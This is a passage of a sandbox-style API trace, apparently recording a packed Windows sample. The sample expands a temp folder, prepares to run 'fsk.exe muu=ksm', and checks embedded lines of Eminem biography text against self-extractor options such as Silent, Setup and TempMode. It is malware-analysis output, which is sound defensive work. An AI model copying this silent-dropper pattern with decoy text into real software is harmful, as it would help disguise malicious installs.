lpDst=0x172020, nSize=0x1000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2e [0067.522] ExpandEnvironmentStringsW (in: lpSrc="fsk.exe muu=ksm ", lpDst=0x172020, nSize=0x1000 | out: lpDst="fsk.exe muu=ksm ") returned 0x11 [0067.522] LoadStringW (in: hInstance=0x400000, uID=0x96, lpBuffer=0x4192b8, cchBufferMax=512 | out: lpBuffer="") returned 0x32 [0067.523] ExpandEnvironmentStringsW (in: lpSrc="U8471", lpDst=0x172020, nSize=0x1000 | out: lpDst="U8471") returned 0x6 [0067.523] OemToCharBuffA (in: lpszSrc="U", lpszDst=0x174034, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.523] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x174028, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.523] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x172020, nSize=0x1000 | out: lpDst="1") returned 0x2 [0067.523] ExpandEnvironmentStringsW (in: lpSrc="%temp%\\62890218", lpDst=0x172020, nSize=0x1000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2e [0067.523] GetDlgItem (hDlg=0x20216, nIDDlgItem=102) returned 0x10252 [0067.523] SetWindowTextW (hWnd=0x10252, lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 1 [0067.660] SendMessageW (hWnd=0x10252, Msg=0x143, wParam=0x0, lParam=0x41e0f8) returned 0x0 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="\xef\xbb\xbf\x45\x6d\x69\x6e\x65\x6d\x20\x69\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x2d\x73\x65\x6c\x6c\x69\x6e\x67\x20\x61\x72\x74\x69\x73\x74\x20\x6f\x66\x20\x74\x68\x65\x20\x32\x30\x30\x30\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x2e\x20\x54\x68\x72\x6f\x75\x67\x68\x6f\x75\x74\x20\x68\x69\x73\x20\x63\x61\x72\x65\x65\x72\x2c\x20", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.661] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="he has had 10 number-one albums on the Billboard 200 and five number-one singles on the Billboard Hot 100.", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" With more than 47.4 million albums and 107.5 million singles sold in the U.S. and 220 million records globally,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" he is among the world's best-selling artists of all time and is consistently cited as one of the greatest and most", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="influential artists in any genre. He is the only artist to have nine albums consecutively debut at number one on the", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" Billboard 200.[1] Rolling Stone ranked him 83rd on its list of 100 Greatest Artists of All Time, ", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="calling him the \"King of Hip Hop\". ", 